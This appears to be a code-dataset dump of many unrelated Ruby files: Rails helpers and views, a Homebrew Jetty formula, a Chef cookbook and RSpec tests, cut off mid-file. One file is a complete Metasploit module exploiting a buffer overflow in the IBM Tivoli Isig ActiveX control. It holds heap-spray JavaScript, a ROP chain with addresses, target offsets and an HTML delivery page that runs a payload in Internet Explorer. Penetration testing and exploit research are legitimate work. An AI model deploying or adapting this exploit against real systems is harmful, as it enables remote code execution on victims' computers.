hexsha
stringlengths 40
40
| size
int64 2
1.01M
| content
stringlengths 2
1.01M
| avg_line_length
float64 1.5
100
| max_line_length
int64 2
1k
| alphanum_fraction
float64 0.25
1
|
---|---|---|---|---|---|
abddd645dc1c7d95cbe5496146bf3127b07e7852 | 1,293 | # frozen_string_literal: true
module MotionHTMLPipeline
class Pipeline
# Public: Runs a String of content through an HTML processing pipeline,
# providing easy access to a generated DocumentFragment.
class BodyContent
attr_reader :result
# Public: Initialize a BodyContent.
#
# body - A String body.
# context - A Hash of context options for the filters.
# pipeline - A MotionHTMLPipeline::Pipeline object with one or more Filters.
def initialize(body, context, pipeline)
@body = body
@context = context
@pipeline = pipeline
end
# Public: Gets the memoized result of the body content as it passed through
# the Pipeline.
#
# Returns a Hash, or something similar as defined by @pipeline.result_class.
def result
@result ||= @pipeline.call @body, @context
end
# Public: Gets the updated body from the Pipeline result.
#
# Returns a String or DocumentFragment.
def output
@output ||= result[:output]
end
# Public: Parses the output into a DocumentFragment.
#
# Returns a DocumentFragment.
def document
@document ||= MotionHTMLPipeline::Pipeline.parse output
end
end
end
end
| 28.733333 | 82 | 0.642691 |
1c33517b8d6661c1ee800219317dd9164a2b5880 | 1,441 | #-- copyright
# OpenProject is an open source project management software.
# Copyright (C) 2012-2021 the OpenProject GmbH
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License version 3.
#
# OpenProject is a fork of ChiliProject, which is a fork of Redmine. The copyright follows:
# Copyright (C) 2006-2013 Jean-Philippe Lang
# Copyright (C) 2010-2013 the ChiliProject Team
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
#
# See docs/COPYRIGHT.rdoc for more details.
#++
class CostQuery::Filter::ActivityId < Report::Filter::Base
def self.label
TimeEntry.human_attribute_name(:activity)
end
def self.available_values(*)
TimeEntryActivity.order(Arel.sql('name')).pluck(:name, :id)
end
end
| 37.921053 | 91 | 0.758501 |
211727fe1e91e5ef4ebbc637a7b725761567490b | 3,377 | json.type "petition"
json.id petition.id
json.links do
json.self petition_url(petition, format: :json)
end if defined?(is_collection)
json.attributes do
json.action petition.action
json.background petition.background
json.additional_details petition.additional_details
json.committee_note petition.committee_note
json.state petition.state
json.signature_count petition.signature_count
json.created_at api_date_format(petition.created_at)
json.updated_at api_date_format(petition.updated_at)
json.rejected_at api_date_format(petition.rejected_at)
json.opened_at api_date_format(petition.opened_at)
json.closed_at api_date_format(petition.closed_at)
json.moderation_threshold_reached_at api_date_format(petition.moderation_threshold_reached_at)
json.response_threshold_reached_at api_date_format(petition.response_threshold_reached_at)
json.government_response_at api_date_format(petition.government_response_at)
json.debate_threshold_reached_at api_date_format(petition.debate_threshold_reached_at)
json.scheduled_debate_date api_date_format(petition.scheduled_debate_date)
json.debate_outcome_at api_date_format(petition.debate_outcome_at)
if petition.open?
json.creator_name petition.creator_name
else
json.creator_name nil
end
if rejection = petition.rejection
json.rejection do
json.code rejection.code
json.details rejection.details
end
else
json.rejection nil
end
if response = petition.government_response
json.government_response do
json.responded_on api_date_format(response.responded_on)
json.summary response.summary
json.details response.details
json.created_at api_date_format(response.created_at)
json.updated_at api_date_format(response.updated_at)
end
else
json.government_response nil
end
if debate_outcome = petition.debate_outcome
json.debate do
json.debated_on debate_outcome.date
json.transcript_url debate_outcome.transcript_url
json.video_url debate_outcome.video_url
json.debate_pack_url debate_outcome.debate_pack_url
json.overview debate_outcome.overview
end
else
json.debate nil
end
json.departments departments(petition.departments) do |department|
json.acronym department.acronym
json.name department.name
json.url department.url
end
json.topics topic_codes(petition.topics)
if petition_page? && petition.published?
json.signatures_by_country petition.signatures_by_country do |country|
json.name country.name
json.code country.code
json.signature_count country.signature_count
end
json.signatures_by_constituency petition.signatures_by_constituency do |constituency|
json.name constituency.name
json.ons_code constituency.ons_code
json.mp constituency.mp_name
json.signature_count constituency.signature_count
end
json.signatures_by_region petition.signatures_by_region do |region|
json.name region.name
json.ons_code region.ons_code
json.signature_count region.signature_count
end
json.other_parliamentary_business petition.emails do |email|
json.subject email.subject
json.body markdown_to_text(email.body)
json.created_at api_date_format(email.created_at)
json.updated_at api_date_format(email.updated_at)
end
end
end
| 32.786408 | 96 | 0.793308 |
21d274850595bf83515f53cef550e0560dff739f | 430 | require 'messages/base_message'
module VCAP::CloudController
class ServiceCredentialBindingShowMessage < BaseMessage
ARRAY_KEYS = [
:include
].freeze
register_allowed_keys ARRAY_KEYS
validates_with NoAdditionalParamsValidator
validates_with IncludeParamValidator, valid_values: %w(app service_instance)
def self.from_params(params)
super(params, ARRAY_KEYS.map(&:to_s))
end
end
end
| 22.631579 | 80 | 0.75814 |
395ef7a2ee8028b5752e161035cc7d6a726eefbf | 674 | module Cryptoexchange::Exchanges
module Deex
module Services
class Pairs < Cryptoexchange::Services::Pairs
PAIRS_URL = "#{Cryptoexchange::Exchanges::Deex::Market::API_URL}/api/v1/markets"
def fetch
output = super
market_pairs = []
output['result'].each do |pair|
market_pairs << Cryptoexchange::Models::MarketPair.new(
base: pair['BaseCurrency'],
target: pair['MarketCurrency'],
market: Deex::Market::NAME
)
end
market_pairs
end
end
end
end
end
| 29.304348 | 88 | 0.508902 |
038b3a955241a53715892c1eeb46ea88d7a6b339 | 318 | namespace :db do
desc 'populate cars'
task :sample_cars => :environment do
Car.delete_all
(1..400).to_a.each_with_index do |i, e|
i.times do
car = Car.new(:name => "car-#{i}")
puts i
car.created_at = i.send(:days).send(:ago)
car.save!
end
end
end
end
| 16.736842 | 49 | 0.550314 |
bfeed6050e91f8ea6b50788044fd3f33102afdde | 779 | require 'jekyll/minibundle/hashes'
module Jekyll::Minibundle
module Environment
class << self
def minifier_command(site, type)
type = type.to_s
ENV["JEKYLL_MINIBUNDLE_CMD_#{type.upcase}"] || Environment.find_site_config(site, ['minibundle', 'minifier_commands', type], String)
end
def development?(site)
mode = ENV['JEKYLL_MINIBUNDLE_MODE'] || Environment.find_site_config(site, %w{minibundle mode}, String)
mode == 'development'
end
def find_site_config(site, keys, type)
value = Hashes.dig(site.config, *keys)
if value && !value.is_a?(type)
raise "Invalid site configuration for key #{keys.join('.')}; expecting type #{type}"
end
value
end
end
end
end
| 29.961538 | 140 | 0.639281 |
879b9897fc8cf2543013cf71d25257a481495878 | 2,136 | class Jetty < Formula
desc "Java servlet engine and webserver"
homepage "https://www.eclipse.org/jetty/"
url "https://search.maven.org/remotecontent?filepath=org/eclipse/jetty/jetty-distribution/9.4.47.v20220610/jetty-distribution-9.4.47.v20220610.tar.gz"
version "9.4.47.v20220610"
sha256 "2f67259ce889d0a74cd554df8739afc930851c2d1e2bdce5d690b2f6f1d1588d"
license any_of: ["Apache-2.0", "EPL-1.0"]
livecheck do
url "https://www.eclipse.org/jetty/download.php"
regex(/href=.*?jetty-distribution[._-]v?(\d+(?:\.\d+)+(?:\.v\d+)?)\.t/i)
end
bottle do
sha256 cellar: :any, monterey: "a42ad239f5c7748366bdb58c9bbcf9afc7648e45e5cfecf005ef138fd076df9e"
sha256 cellar: :any, big_sur: "a42ad239f5c7748366bdb58c9bbcf9afc7648e45e5cfecf005ef138fd076df9e"
sha256 cellar: :any, catalina: "a42ad239f5c7748366bdb58c9bbcf9afc7648e45e5cfecf005ef138fd076df9e"
sha256 cellar: :any_skip_relocation, x86_64_linux: "b0ac7389c719a987b2ae6524c39df9a50f6c16e2748e78e3c3ffceb663bc846a"
end
# Ships a pre-built x86_64-only `libsetuid-osx.so`.
depends_on arch: :x86_64
depends_on "openjdk"
def install
libexec.install Dir["*"]
(libexec/"logs").mkpath
env = Language::Java.overridable_java_home_env
env["JETTY_HOME"] = libexec
Dir.glob(libexec/"bin/*.sh") do |f|
(bin/File.basename(f, ".sh")).write_env_script f, env
end
end
test do
http_port = free_port
ENV["JETTY_ARGS"] = "jetty.http.port=#{http_port} jetty.ssl.port=#{free_port}"
ENV["JETTY_BASE"] = testpath
ENV["JETTY_RUN"] = testpath
cp_r Dir[libexec/"demo-base/*"], testpath
log = testpath/"jetty.log"
pid = fork do
$stdout.reopen(log)
$stderr.reopen(log)
exec bin/"jetty", "run"
end
begin
sleep 20 # grace time for server start
assert_match "webapp is deployed. DO NOT USE IN PRODUCTION!", log.read
assert_match "Welcome to Jetty #{version.major}", shell_output("curl --silent localhost:#{http_port}")
ensure
Process.kill 9, pid
Process.wait pid
end
end
end
| 35.6 | 152 | 0.686798 |
7a6b87041c4a1b3ea063a73b3642de316087e574 | 629 | maintainer "Opscode, Inc."
maintainer_email "[email protected]"
license "Apache 2.0"
description "Configures apt and apt services and LWRPs for managing apt repositories and preferences"
long_description IO.read(File.join(File.dirname(__FILE__), 'README.md'))
version "1.4.2"
recipe "apt", "Runs apt-get update during compile phase and sets up preseed directories"
recipe "apt::cacher-ng", "Set up an apt-cacher-ng caching proxy"
recipe "apt::cacher-client", "Client for the apt::cacher-ng caching proxy"
%w{ ubuntu debian }.each do |os|
supports os
end
| 44.928571 | 107 | 0.683625 |
877a55193e53cfcad10a2d03c996f11fedd78ce1 | 379 | class ReviewSerializer < ActiveModel::Serializer
include Rails.application.routes.url_helpers
attributes :id, :content, :rating, :privacy, :username, :images, :updated_at
has_one :user
has_one :hike
def username
object.user.username
end
def images
images = object.images.map do |image|
image.service_url if object.images.attached?
end
end
end
| 22.294118 | 78 | 0.728232 |
d52cdb407d788bbb6266d7a64d88c1a724044646 | 2,775 | # frozen_string_literal: true
require 'spec_helper'
SimpleCov.command_name 'test:unit'
RSpec.describe 'unit' do
describe Calculator do
class Example
include Calculator
end
subject(:example) do
Example.new
end
it 'defines functions for each number word in Calculator::NUMBERS' do
Calculator::NUMBERS.each do |word|
expect(example).to respond_to(word.to_sym)
end
end
it 'returns an integer for each number function when called without an arg' do
Calculator::NUMBERS.each_with_index do |word, int|
expect(example.send(word.to_sym)).to eq(int)
end
end
it 'responds to functions for operators' do
%i[divided_by minus plus times].each do |word|
expect(example).to respond_to(word.to_sym)
end
end
it 'calculates an operation that returns a proc that can be called with an arg' do
answer = example.send(:times, 6).call(5)
expect(answer).to eq(30)
end
it 'calculates an operation using word number functions' do
answer = example.send(:times, example.send(:six)).call(example.send(:five))
expect(answer).to eq(30)
end
it 'calculates each operation correctly' do
expect(example.send(:times, 5).call(6)).to eq(30)
expect(example.send(:plus, 9).call(1)).to eq(10)
expect(example.send(:minus, 3).call(6)).to eq(3)
expect(example.send(:divided_by, 2).call(8)).to eq(4)
end
it 'raises ArgumentError if args are not Integer in operator functions' do
expect { example.send(:times, '6').call(5) }.to raise_error(ArgumentError)
expect { example.send(:plus, '9').call(1) }.to raise_error(ArgumentError)
expect { example.send(:minus, '3').call(6) }.to raise_error(ArgumentError)
expect { example.send(:divided_by, '2').call(8) }.to raise_error(ArgumentError)
end
it 'allows LHS operand which is zero to be divided by any number' do
answer = example.send(:divided_by, example.send(:one)).call(example.send(:zero))
expect(answer).to eq(0)
end
it 'raises ZeroDivisionError when attempting to use zero as RHS operand' do
expect do
example.send(:divided_by, example.send(:zero)).call(example.send(:one))
end.to raise_error(ZeroDivisionError)
end
it 'returns an integer if no remainder for division operation' do
answer = example.send(:divided_by, example.send(:three)).call(example.send(:six))
expect(answer).is_a?(Integer)
expect(answer).to eq(2)
end
it 'returns a float only when necessary for division operation' do
answer = example.send(:divided_by, example.send(:six)).call(example.send(:three))
expect(answer).is_a?(Float)
expect(answer).to eq(0.5)
end
end
end
| 33.433735 | 87 | 0.671712 |
e9b545cf4f02358939b57a8ea0381bcc50176dcd | 37 | module MrBot
VERSION = "0.1.0"
end
| 9.25 | 19 | 0.648649 |
1a08791ce5d80ea3b92a8d08116010f3aadf95c4 | 1,149 | module Sidecloq
# Runner encapsulates a locker and a scheduler, running scheduler when
# "elected" leader
class Runner
include Utils
attr_reader :locker, :scheduler
def initialize(options = {})
@locker = extract_locker(options)
@scheduler = extract_scheduler(options)
end
def run
@thread = Thread.new do
logger.info('Runner starting')
@locker.with_lock do
# i am the leader
logger.info('Obtained leader lock')
@scheduler.run
end
logger.info('Runner ending')
end
end
def stop(timeout = nil)
logger.debug('Stopping runner')
@scheduler.stop(timeout)
@locker.stop(timeout)
@thread.join(timeout) if @thread
logger.debug('Stopped runner')
end
private unless $TESTING
def extract_locker(options)
return options[:locker] if options[:locker]
Locker.new(options[:locker_options] || {})
end
def extract_scheduler(options)
return options[:scheduler] if options[:scheduler]
Scheduler.new(options[:schedule], options[:scheduler_options] || {})
end
end
end
| 24.446809 | 74 | 0.637946 |
7964dbad0dc67f00049bdf1be56ea36059ad447b | 1,273 | # -*- encoding: utf-8 -*-
# stub: jquery-rails 3.1.3 ruby lib
Gem::Specification.new do |s|
s.name = "jquery-rails"
s.version = "3.1.3"
s.required_rubygems_version = Gem::Requirement.new(">= 1.3.6") if s.respond_to? :required_rubygems_version=
s.require_paths = ["lib"]
s.authors = ["Andr\u{e9} Arko"]
s.date = "2015-06-16"
s.description = "This gem provides jQuery and the jQuery-ujs driver for your Rails 3+ application."
s.email = ["[email protected]"]
s.homepage = "http://rubygems.org/gems/jquery-rails"
s.licenses = ["MIT"]
s.rubyforge_project = "jquery-rails"
s.rubygems_version = "2.2.2"
s.summary = "Use jQuery with Rails 3+"
s.installed_by_version = "2.2.2" if s.respond_to? :installed_by_version
if s.respond_to? :specification_version then
s.specification_version = 4
if Gem::Version.new(Gem::VERSION) >= Gem::Version.new('1.2.0') then
s.add_runtime_dependency(%q<railties>, ["< 5.0", ">= 3.0"])
s.add_runtime_dependency(%q<thor>, ["< 2.0", ">= 0.14"])
else
s.add_dependency(%q<railties>, ["< 5.0", ">= 3.0"])
s.add_dependency(%q<thor>, ["< 2.0", ">= 0.14"])
end
else
s.add_dependency(%q<railties>, ["< 5.0", ">= 3.0"])
s.add_dependency(%q<thor>, ["< 2.0", ">= 0.14"])
end
end
| 34.405405 | 109 | 0.62608 |
ab5dcd1f4d458e51fc9e0761215d9886815e50dd | 159 | class Category < ActiveRecord::Base
## Relations
belongs_to :user
has_many :subcategories
## Validations
validates :user, :name, presence: true
end
| 17.666667 | 40 | 0.72956 |
ff4fe7d27edae29e836ddc369275edfa604a3769 | 3,318 | Rails.application.configure do
# Settings specified here will take precedence over those in config/application.rb.
# Code is not reloaded between requests.
config.cache_classes = true
# Eager load code on boot. This eager loads most of Rails and
# your application in memory, allowing both threaded web servers
# and those relying on copy on write to perform better.
# Rake tasks automatically ignore this option for performance.
config.eager_load = true
# Full error reports are disabled and caching is turned on.
config.consider_all_requests_local = false
config.action_controller.perform_caching = true
# Enable Rack::Cache to put a simple HTTP cache in front of your application
# Add `rack-cache` to your Gemfile before enabling this.
# For large-scale production use, consider using a caching reverse proxy like nginx, varnish or squid.
# config.action_dispatch.rack_cache = true
# Disable Rails's static asset server (Apache or nginx will already do this).
config.serve_static_assets = false
# Compress JavaScripts and CSS.
config.assets.js_compressor = :uglifier
# config.assets.css_compressor = :sass
# Do not fallback to assets pipeline if a precompiled asset is missed.
config.assets.compile = false
# Generate digests for assets URLs.
config.assets.digest = true
# `config.assets.precompile` has moved to config/initializers/assets.rb
# Specifies the header that your server uses for sending files.
# config.action_dispatch.x_sendfile_header = "X-Sendfile" # for apache
# config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # for nginx
# Force all access to the app over SSL, use Strict-Transport-Security, and use secure cookies.
# config.force_ssl = true
# Set to :debug to see everything in the log.
config.log_level = :info
# Prepend all log lines with the following tags.
# config.log_tags = [ :subdomain, :uuid ]
# Use a different logger for distributed setups.
# config.logger = ActiveSupport::TaggedLogging.new(SyslogLogger.new)
# Use a different cache store in production.
# config.cache_store = :mem_cache_store
# Enable serving of images, stylesheets, and JavaScripts from an asset server.
# config.action_controller.asset_host = "http://assets.example.com"
# Precompile additional assets.
# application.js, application.css.scss, and all non-JS/CSS in app/assets folder are already added.
# config.assets.precompile += %w( search.js )
# Ignore bad email addresses and do not raise email delivery errors.
# Set this to true and configure the email server for immediate delivery to raise delivery errors.
# config.action_mailer.raise_delivery_errors = false
# Enable locale fallbacks for I18n (makes lookups for any locale fall back to
# the I18n.default_locale when a translation cannot be found).
config.i18n.fallbacks = true
# Send deprecation notices to registered listeners.
config.active_support.deprecation = :notify
# Disable automatic flushing of the log to improve performance.
# config.autoflush_log = false
# Use default logging formatter so that PID and timestamp are not suppressed.
config.log_formatter = ::Logger::Formatter.new
# Do not dump schema after migrations.
config.active_record.dump_schema_after_migration = false
end
| 39.975904 | 104 | 0.760398 |
e8b6b74c3fab9947aedb7f8d8ffcb95be22a6e48 | 434 | cask 'vnote' do
version '2.7.1'
sha256 'eee615603a62c7d2474048755c727ebe1daf7871a594f1aae63af6261621d916'
# github.com/tamlok/vnote was verified as official when first introduced to the cask
url "https://github.com/tamlok/vnote/releases/download/v#{version}/VNote-#{version}-x64.dmg"
appcast 'https://github.com/tamlok/vnote/releases.atom'
name 'VNote'
homepage 'https://tamlok.github.io/vnote/'
app 'VNote.app'
end
| 33.384615 | 94 | 0.758065 |
879286ef03c894916cb640a0c62541b60e6be45b | 8,136 | ##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
:os_name => OperatingSystems::WINDOWS,
:ua_name => HttpClients::IE,
:ua_minver => "6.0",
:ua_maxver => "8.0",
:javascript => true,
:rank => NormalRanking,
:classid => "{84B74E82-3475-420E-9949-773B4FB91771}",
:method => "RunAndUploadFile",
})
def initialize(info={})
super(update_info(info,
'Name' => "IBM Tivoli Provisioning Manager Express for Software Distribution Isig.isigCtl.1 ActiveX RunAndUploadFile() Method Overflow",
'Description' => %q{
This module exploits a buffer overflow vulnerability in the
Isig.isigCtl.1 ActiveX installed with IBM Tivoli Provisioning
Manager Express for Software Distribution 4.1.1.
The vulnerability is found in the "RunAndUploadFile" method
where the "OtherFields" parameter with user controlled data
is used to build a "Content-Dispoition" header and attach
contents in a insecure way which allows to overflow a buffer
in the stack.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Andrea Micalizzi aka rgod', # Vulnerability discovery
'juan vazquez', # Metasploit module
'sinn3r' # Metasploit module
],
'References' =>
[
[ 'CVE', '2012-0198' ],
[ 'OSVDB', '79735' ],
[ 'BID', '52252' ],
[ 'ZDI', '12-040' ]
],
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00",
'DisableNops' => true
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',
'Targets' =>
[
# isig.dll 2.44.282.0
[ 'Automatic', {} ],
[
'IE 6 on Windows XP SP3',
{
'Rop' => nil,
'Offset' => 161, # length is strlen("submit") dependant
'OffsetShell' => '0x800 - code.length',
'ebp' => 0x09090909,
'Ret' => 0x09090909
}
],
[
'IE 7 on Windows XP SP3',
{
'Rop' => nil,
'Offset' => 161, # length is strlen("submit") dependant
'OffsetShell' => '0x800 - code.length',
'ebp' => 0x09090909,
'Ret' => 0x09090909
}
],
[
'IE 8 on Windows XP SP3',
{
'Rop' => :jre,
'Offset' => 161, # length is strlen("submit") dependant
'OffsetShell' => '0x480',
'ebp' => 0x09090920,
'Ret' => 0x7c375a3d # stackpivot from msvcr71.dll # mov esp, ebp # pop ebp # ret
}
]
],
'Privileged' => false,
'DisclosureDate' => "Mar 01 2012",
'DefaultTarget' => 0))
register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
], self.class)
end
def get_target(agent)
#If the user is already specified by the user, we'll just use that
return target if target.name != 'Automatic'
if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
return targets[1] #IE 6 on Windows XP SP3
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
return targets[2] #IE 7 on Windows XP SP3
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
return targets[3] #IE 8 on Windows XP SP3
else
return nil
end
end
def get_payload(t, cli)
if t['Rop'].nil?
code = ""
else
#Fix the stack to avoid anything busted
code = "\x81\xC4\x54\xF2\xFF\xFF"
end
code << payload.encoded
# No rop. Just return the payload.
return code if t['Rop'].nil?
# ROP chain generated by mona.py - See corelan.be
case t['Rop']
when :jre
print_status("Using JRE ROP")
exec_size = 0xffffffff - code.length + 1
rop =
[
0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
exec_size, # Value to NEG
0x7c347f98, # RETN (ROP NOP)
0x7c3415a2, # JMP [EAX]
0xffffffff,
0x7c376402, # skip 4 bytes
0x7c351e05, # NEG EAX # RETN
0x7c345255, # INC EBX # FPATAN # RETN
0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN
0x7c344f87, # POP EDX # RETN
0xffffffc0, # Value to negate, will become 0x00000040
0x7c351eb1, # NEG EDX # RETN
0x7c34d201, # POP ECX # RETN
0x7c38b001, # &Writable location
0x7c347f97, # POP EAX # RETN
0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
0x7c378c81, # PUSHAD # ADD AL,0EF # RETN
0x7c345c30, # ptr to 'push esp # ret '
].pack("V*")
end
code = rop + code
return code
end
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
my_target = get_target(agent)
# Avoid the attack if the victim doesn't have the same setup we're targeting
if my_target.nil?
print_error("Browser not supported: #{agent}")
send_not_found(cli)
return
end
print_status("Client requesting: #{request.uri}")
p = get_payload(my_target, cli)
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
js_nops = Rex::Text.to_unescape("\x90"*4, Rex::Arch.endian(my_target.arch))
js_spray = <<-JS
var heap_obj = new heapLib.ie(0x20000);
var code = unescape("#{js_code}");
var nops = unescape("#{js_nops}");
while (nops.length < 0x80000) nops += nops;
var offset = nops.substring(0, #{my_target['OffsetShell']});
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x80000-6)/2);
heap_obj.gc();
for (var i=0; i < 0x1A0; i++) {
heap_obj.alloc(block);
}
JS
js_spray = heaplib(js_spray, {:noobfu => true})
if datastore['OBFUSCATE']
js_spray = ::Rex::Exploitation::JSObfu.new(js_spray)
js_spray.obfuscate
end
bof = rand_text_alpha(my_target['Offset'])
bof << [my_target['ebp']].pack("V") # ebp
bof << [my_target.ret].pack("V") # eip
html = <<-HTML
<html>
<head>
<script>
#{js_spray}
</script>
</head>
<object classid='clsid:84B74E82-3475-420E-9949-773B4FB91771' id='isig'></object>
<script>
var url = "http://#{Rex::Socket.source_address('1.2.3.4')}:#{datastore['SRVPORT']}/tpmx/uploadEG2.do";
var fields = "submit:#{bof};FROM_EMAIL:true;userKey:2";
var flags = "-level5";
msg = isig.RunAndUploadFile(url, fields, flags);
</script>
</html>
HTML
html = html.gsub(/^\t\t/, '')
print_status("Sending html")
send_response(cli, html, {'Content-Type'=>'text/html'})
end
end
=begin
* Vulnerability notes
The Dangerous strcat allows to attach user-controlled contents after
the Content-disposition header:
.text:100040B0 Src = byte ptr -100h
...
.text:100040DD push [ebp+Source] ; Source => User controlled via "fields" param
.text:100040E0 lea eax, [ebp+Src]
.text:100040E6 push eax ; Dest => Local variable where the Content-disposition header
; has been stored
.text:100040E7 call _strcat ; strcat used by this module to overflow
Function isn't protected with stack cookies so get
the control flow is easy by overwriting the saved EIP
on the stack.
=end
| 31.053435 | 152 | 0.553589 |
08576b10eab57bbbfde35b712756fa954c1e9371 | 1,173 | RSpec.describe User do
describe "#can_access?" do
context "when the user has an override permission" do
it "returns true" do
user = build(:user, permissions: [
User::ACCESS_LIMIT_OVERRIDE_PERMISSION,
])
edition = build(:edition)
expect(user).to be_can_access(edition)
end
end
context "when the edition is access limited" do
let(:edition) { build(:edition, :access_limited) }
before do
allow(edition).to receive(:access_limit_organisation_ids).and_return(%w[org-id])
end
it "returns true if the user is in the specified orgs" do
user = build(:user, organisation_content_id: "org-id")
expect(user).to be_can_access(edition)
end
it "returns false if the user is not in the orgs" do
user = build(:user, organisation_content_id: "another-org-id")
expect(user).not_to be_can_access(edition)
end
end
context "when the edition is not access limited" do
it "returns true" do
edition = build(:edition)
user = build(:user)
expect(user).to be_can_access(edition)
end
end
end
end
| 28.609756 | 88 | 0.635976 |
bb0624aec3c3c64ec20b4cab64aede89ce106c37 | 110 | class Payment < ActiveRecord::Base
belongs_to :user
validates :date, presence: true, valid_date: true
end
| 22 | 51 | 0.763636 |
612b17fe2945ee19af5d347b524053dc70b2e7e9 | 781 | #
# Cookbook:: apache2
# Recipe:: mod_ldap
#
# Copyright:: 2008-2013, Chef Software, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
if platform_family?('rhel', 'amazon') && node['apache']['version'] == '2.4'
package 'mod_ldap'
end
apache_module 'ldap' do
conf true
end
| 28.925926 | 75 | 0.731114 |
bbaf473b0a7ffdc150bc59c50f481774a59d07ac | 9,860 | require File.expand_path(File.dirname(__FILE__) + '/../spec_helper')
describe SurveyorGui::SurveyformsController, :type => :controller do
include Surveyor::Engine.routes.url_helpers
include SurveyorGui::Engine.routes.url_helpers
before do
self.routes = SurveyorGui::Engine.routes
end
let!(:survey) { FactoryBot.create(:survey, :title => "Alphabet", :access_code => "alpha", :survey_version => 0)}
let!(:survey_beta) { FactoryBot.create(:survey, :title => "Alphabet", :access_code => "alpha", :survey_version => 1)}
let!(:survey_with_no_responses) {FactoryBot.create(:survey)}
let!(:survey_with_responses) {FactoryBot.create(:survey)}
let!(:template) {FactoryBot.create(:template)}
let!(:surveyform) {FactoryBot.create(:surveyform)}
let!(:response_set) { FactoryBot.create(:survey_sections, :survey => survey_with_responses)}
let!(:response_set) { FactoryBot.create(:response_set, :survey => survey_with_responses, :access_code => "pdq")}
def survey_with_sections
{
:title=>'New Survey',
:survey_sections_attributes => {
"0" => {
:title => 'New Section',
:display_order => 0
}
}
}
end
context "#index" do
def do_get(params = {})
get :index, params
end
context "index parameters specify surveys" do
it "set the title to 'manage surveys'" do
do_get()
assigns(:title).should eq("Manage Surveys")
end
it "should not populate an array of templates" do
do_get()
expect(assigns(:surveyforms)).not_to eq([template])
end
it "should populate an array of surveys" do
do_get()
expect(assigns(:surveyforms)).to include(surveyform)
end
it "shows the surveys" do
do_get()
expect(response).to render_template('index')
end
end
context "index parameters specify survey templates" do
it "set the title to 'manage templates'" do
do_get(:template=>"true")
assigns(:title).should eq("Manage Templates")
end
it "should populate an array of templates" do
do_get(params={:template=>"true"})
expect(assigns(:surveyforms)).to eq([template])
end
it "should not populate an array of surveys" do
do_get(params={:template=>"true"})
expect(assigns(:surveyforms)).not_to eq([surveyform])
end
it "shows the survey templates" do
do_get(:template=>"true")
expect(response).to render_template('index')
end
end
end
context "#new" do
def do_get
get :new
end
it "renders new" do
do_get
expect(response).to be_success
expect(response).to render_template('new')
end
it "populates an empty survey" do
do_get
expect(assigns(:surveyform).id).to eq(nil)
end
end
context "#create" do
def do_post(params = {})
post :create, :surveyform=>params
end
context "it saves successfully" do
it "returns to the edit page" do
do_post(:title=>'New surv')
expect(response).to redirect_to(edit_surveyform_path(assigns(:surveyform).id))
end
it "resets question_no to 0" do
do_post(:title=>'New surv')
expect(assigns(:question_no)).to eq(0)
end
end
context "it fails to save" do
it "renders new" do
do_post()
expect(response).to render_template('new')
end
end
context "if it includes survey sections" do
before :each do
@survey_with_sections = survey_with_sections
end
context "when sections are valid" do
it "redirects to the edit page" do
do_post @survey_with_sections
expect(response).to redirect_to(edit_surveyform_path(assigns(:surveyform).id))
end
end
context "when sections are not valid" do
before :each do
@survey_with_sections[:survey_sections_attributes]["0"][:display_order]=nil
end
it "renders new" do
do_post()
expect(response).to render_template('new')
end
end
end
end
context "#edit" do
context "the survey has no responses" do
def do_get(params = {})
get :edit, {:id => survey_with_no_responses.id}.merge(params)
end
it "renders edit" do
do_get
expect(response).to be_success
expect(response).to render_template('edit')
end
end
context "the survey has responses" do
def do_get(params = {})
get :edit, {:id => survey_with_responses.id}.merge(params)
end
it "still lets you see the edit page" do
do_get
expect(response).to be_success
expect(response).to render_template('edit')
end
it "warns that responses have been collected" do
expect(flash[:error]) =~ /been collected/i
end
end
end
context "#update" do
context "it saves successfully" do
def do_put(params = {})
put :update, params
end
it "redirects to index" do
do_put(:id=>survey.id,:surveyform=>{:id=>survey.id})
expect(response).to redirect_to(surveyforms_path)
end
end
context "it fails to save" do
def do_put(params = {})
put :update, params
end
it "renders edit" do
do_put(:id=>survey.id, :surveyform=>{:id=>survey.id,:title=>''})
expect(response).to render_template('edit')
end
it "resets question_no to 0" do
do_put(:id=>survey.id,:surveyform=>{:id=>survey.id,:title=>''})
expect(assigns(:question_no)).to eq(0)
end
end
end
context "#show" do
def do_get
get :show, {:id => survey.id}
end
it "shows survey" do
do_get
expect(response).to be_success
expect(response).to render_template('show')
end
end
context "#destroy" do
context "no responses were submitted" do
def do_delete
